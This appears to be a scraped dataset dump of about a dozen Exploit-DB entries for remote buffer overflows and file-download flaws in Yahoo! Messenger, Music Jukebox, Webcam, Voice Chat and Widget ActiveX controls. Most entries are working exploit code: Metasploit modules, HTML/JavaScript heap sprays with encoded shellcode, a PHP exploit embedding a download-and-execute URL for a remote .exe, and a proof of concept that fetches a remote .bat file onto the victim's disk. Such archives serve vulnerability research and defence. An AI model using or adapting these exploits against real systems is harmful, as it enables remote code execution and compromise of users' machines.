deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16522
Description: Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
				Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
				to the "fvCom()" method from a yahoo.com domain, an attacker may be able
				to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-4515' ],
					[ 'OSVDB', '37739' ],
					[ 'BID', '25494' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8  } ], # Tested on fully patched XPSP2 9/29/07
				],
			'DisclosureDate' => 'Aug 30 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(411) + [target.ret].pack('V')
		sploit << p.encoded + rand_text_english(payload.encoded.length)

		# Build out the message
		content = %Q|
			<html>
			<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
			<script language='javascript'>
			#{strname} = new String('#{sploit}');
			#{vname}.fvcom(#{strname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #25196
Description: Yahoo! Messenger 5.x/6.0 - Offline Mode Status Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2005-03-08
Author: Mehrtash Mallahzadeh

Exploit:
source: https://www.securityfocus.com/bid/12750/info

It has been reported that a remote buffer overflow vulnerability affects Yahoo! Messenger. This issue is due to a failure of the application to securely copy user-supplied input into finite process buffers.

It is likely that the attacker must be in the contact list of an unsuspecting user to exploit this issue. It should be noted that the details surrounding this issue are not clear; this BID will be updated as more details are released.

An attacker may leverage this issue to execute arbitrary code in the context of an unsuspecting user running a vulnerable version of the affected application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25196.zip
Exploit-DB #28298
Description: Yahoo! Messenger 7.0/7.5 - Remote Search String Arbitrary Browser Navigation
Type: remote
Platform: windows
Date: 2006-07-28
Author: Ivan Ivan

Exploit:
source: https://www.securityfocus.com/bid/19211/info

Yahoo! Messenger is prone to a browser-navigation vulnerability that may permit a remote attacker to open a browser window on the victim user's computer to an arbitrary page.

This issue occurs because the application fails to sanitize malicious messages.

An attacker may be able to exploit this issue to execute a web browser and load an arbitrary web page. This may lead to other attacks.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space.
Exploit-DB #16519
Description: Yahoo! Messenger 8.1.0.249 - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: yahoomessenger_server.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
				Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
				By sending a overly long string to the "Server()" method, and then calling
				the "Send()" method, an attacker may be able to execute arbitrary code.
				Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
				yield for the best results.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3147' ],
					[ 'OSVDB', '37082' ],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
					[ 'Windows 2000 Pro English All',       { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
				],
			'DisclosureDate' => 'Jun 5 2007',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
		sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)

		# Build out the message
		content = %Q|<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.server = #{strname}
#{vname}.send()
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #4428
Description: Yahoo! Messenger 8.1.0.421 - CYFT Object Arbitrary File Download
Type: remote
Platform: windows
Date: 2007-09-19
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download</b>
 url: http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: False
 RegkeySafe for Init: False
 KillBitSet: False</b>

 From remote: depends by Internet Explorer settings
 From local: yes

 <b>Description:
 This contron contains a "GetFile()" method which allows to download, on
 user's pc, an arbitrary file pased as argument.
 Remote execution depends by Internet Explorer settings, local execution
 works very well.</b>

 <b>greetz to:<font color='red'> skyhole (or YAG KOHHA)</font> for inspiration</b>
-----------------------------------------------------------------------------
<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"
   MsgBox "Exploit completed"
  End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-19]
Exploit-DB #4042
Description: Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-06-07
Author: Excepti0n

Exploit:
<html>
<!--
45 minutes of fuzzing!
Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!
 
link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856
maybe more vulz!
 
Greetz to: str0ke and shinnai!
-->
<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target'></object>
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");    
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; x<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.initialize(); 
target.send(); 
</script>
</html>
sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111

# milw0rm.com [2007-06-07]
Exploit-DB #4043
Description: Yahoo! Messenger Webcam 8.1 - ActiveX Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2007-06-07
Author: Excepti0n

Exploit:
This affects the viewer ywcvwr.dll with yahoo messenger
  latest version tested.
  Fixed bug in last post
  (x=0;xi<800;x++) should be  (x=0; x<800; x++)
   
  Here is your 2nd 0day!!!
  link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 
   
<html> 
<object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target'></object> 
<script>
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + 
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + 
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + 
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + 
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + 
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + 
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + 
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + 
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + 
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + 
"%uCC4A%uD0FF"); 
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length 
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; x<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.receive(); 
</script> 
</html> 

# milw0rm.com [2007-06-07]
Exploit-DB #5046
Description: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2008-02-03
Author: anonymous

Exploit:
<?php

	// 0x48k-ymj by ...
	// based on /5043
	// Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>


	function unescape($s){
		$res=strtoupper(bin2hex($s));
		$g = round(strlen($res)/4);
		if ($g != (strlen($res)/4))$res.="00";
		$out = "";
		for ($i=0; $i<strlen($res);$i+=4)$out.="%u".substr($res, $i+2, 2).substr($res, $i, 2);
		return $out;
	}

	echo '
		<html>
		<body>
		<object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>
		<script language="JavaScript">

			function gsc(){
				var hsta = 0x0c0c0c0c;
				var plc = unescape("%u4343%u4343"+
				"%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
				"%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
				"%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
				"%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
				"%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
				"%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
				"%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
				"%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
				"%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
				"%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
				"%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
				"%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
				"%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
				"%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
				"%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
				"%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
				"%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
				"%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
				"%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
				"%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
				"%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
				"%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
				"%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
				"%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
				"%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
				"%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
				"%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
				"%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
				"%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
				"%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
				"%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
				"%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
				"%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
				"%u1011%uba10%ua3bd%ua0a2%uefa1"+
				"'.unescape("http://site.come/load.exe").'");
				var hbs=0x400000;
				var pls=plc.length*2;
				var sss=hbs-(pls+0x38);
				var ss=unescape("%u0c0c%u0c0c");
				ss=gss(ss,sss);
				hbs=(hsta-0x400000)/hbs;
				for(i=0;i<hbs;i++)m[i]=ss+plc;
			}
			function gss(ss,sss){
				while(ss.length<sss*2)ss+=ss;
				ss=ss.substring(0,sss);
				return ss;
			}
			var m=new Array();
			gsc();
			try{
				var tmp=gss(unescape("%u0c0c%u0c0c"),340);
				obj.AddImage("http://"+tmp,1);
			}catch(e){}
		</script>
		</body>
		</html>
	';

?>

# milw0rm.com [2008-02-03]
Exploit-DB #5048
Description: Yahoo! Music Jukebox 2.2 - 'AddImage()' ActiveX Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2008-02-03
Author: exceed

Exploit:
<!--
	Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

	Discovered by Krystian Kloskowski - h07@interia.pl

	Written by exceed (code ripped from here and there...)

	Tested on Windows XP SP3 English / IE6 SP3 / datagrid.dll v2.2.2.56
-->

<html>
<object classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"
id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator (calc.exe)
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                     "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                     "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                     "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                     "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                     "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                     "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                     "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                     "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                     "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                     "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                     "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                     "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                     "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                     "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                     "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                     "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                     "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                     "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                     "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                     "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                     "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                     "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                     "%u314e%u7475%u7038%u7765%u4370");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();
for (i=0;i<400;i++) memory[i] = block + shellcode;

var buffer =  unescape("%u0A0A%u0A0A");
while (buffer.length< 340) buffer+=unescape("%u0A0A%u0A0A");
target.AddImage("http://"+buffer,1);

</script>
</html>

# milw0rm.com [2008-02-03]
Exploit-DB #22593
Description: Yahoo! Voice Chat ActiveX Control 1.0.0.43 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2003-05-12
Author: cesaro

Exploit:
source: https://www.securityfocus.com/bid/7561/info

It has been reported that the ActiveX control used by the Yahoo! Voice Chat feature is prone to an exploitable buffer overflow vulnerability. This issue can be exploited via a malicious web page that calls the vulnerable control with malformed parameters. Although unconfirmed, it has been conjectured that this condition may be exploited to execute arbitrary code. 

------sample.htm-----------
<OBJECT id=yahooaudio type="application/x-oleobject"

classid="clsid:2B323CD9-50E3-11D3-9466-00A0C9700498">
</OBJECT>
<script>
yahooaudio.hostname="longstringheremorethan500chars";
yahooaudio.createandjoinconference();
</script>
---------------------------
Exploit-DB #23152
Description: Yahoo! Webcam ActiveX Control 2.0.0.107 - Buffer Overrun
Type: remote
Platform: windows
Date: 2003-09-16
Author: cesaro

Exploit:
source: https://www.securityfocus.com/bid/8634/info

A buffer overrun has been discovered in the Yahoo! Webcam ActiveX control. The problem occurs due to insufficient bounds checking when handling user-supplied Webcam parameters. As a result, an attacker may be capable of hosting a malicious website designed to exploit this issue to execute arbitrary code, within the context of a victim users web browser. 


<object id="yahoowebcam"
classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" >
</object>
<script>
yahoowebcam.TargetName="longstringhere";
</script>
Exploit-DB #4250
Description: Yahoo! Widget < 4.0.5 - 'GetComponentVersion()' Remote Overflow
Type: remote
Platform: windows
Date: 2007-07-31
Author: lhoang8500

Exploit:
<html>
<!--
+++++++++++++++++++++++
+Last Modified by lhoang8500++
+++++++++++++++++++++++
-->
<html>
<object classid="CLSID:7EC7B6C5-25BD-4586-A641-D2ACBB6629DD" id="target"></OBJECT>

<SCRIPT language="javascript">

	var heapSprayToAddress = 0x05050505;

	var payLoadCode = unescape("%uc931%ue983%ud9b0%ud9ee%u2474%u5bf4%u7381%u2713%uf3fc%u830c%ufceb%uf4e2%u96db%u4118%u05cf%uf30c%u9cd8%u6078%ud803%u4978%u771b%u098f%ufd5f%u871c%ue468%u5378%ufd07%u4518%uc8ac%u0d78%ucdc9%u9533%u788b%u7833%u3d20%u0139%u3e26%uf818%ua81c%u24d7%u1952%u5378%ufd03%u6a18%uf0ac%u87b8%ue078%ue7f2%ud024%u8578%ud84b%u6def%ucde4%u6828%ubfac%u87c3%uf067%u7c78%u513b%u4c78%ua22f%u829b%uf269%u5c1f%u2ad8%u5f95%u9441%u3ec0%u8b4f%u3e80%ua878%udc0c%u374f%uf01e%uac1c%uda0c%u7578%u6a16%u11a6%u0efb%u9672%uf3f1%u94f7%u052a%u51d2%uf3a4%uaff1%u5fa0%uaf74%u5fb0%uaf64%udc0c%u9441%u50e2%uaf41%ued7a%u94b2%u1657%u3b57%uf3a4%u96f1%u5de3%u0372%u6423%u5183%ue5dd%u0370%u5f25%u0372%u6423%ub5c2%u4575%u0370%u5c25%ua873%uf3a6%u6ff7%ueb9b%u3a5e%u5b8a%u2ad8%uf3a6%u9af7%u6899%u9441%u6190%u19ae%u5c99%ud57e%u853f%u96c0%u85b7%ucdc5%uff33%u028d%u21b1%ubed9%u9fdf%u86aa%ua7cb%u578c%u7e9b%u4fd9%uf3e5%ub852%uda0c%uab7c%u5da1%uad76%u0d99%uad76%u5da6%u2cd8%ua19b%uf9fe%u5f3d%u2ad8%uf399%ucbd8%udc0c%uabac%u8f0f%u98e3%uda0c%u0375%u6423%u76d7%u53f7%u0374%uf325%ufcf7%u0cf3%u0000");

	var heapBlockSize = 0x400000;

	var payLoadSize = payLoadCode.length * 2;

	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

	var spraySlide = unescape("%u9090%u9090");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);

	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}
	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	};
var buffer =  unescape("%u0505");
while (buffer.length < 845)  buffer+='\x0A';
while (buffer.length< 1000) buffer+=unescape("%u0505");

target.GetComponentVersion(buffer);
</script>
</html>

# milw0rm.com [2007-07-31]